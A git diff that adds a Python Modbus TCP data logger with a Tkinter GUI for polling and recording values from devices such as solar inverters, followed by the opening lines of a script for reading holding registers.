when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + 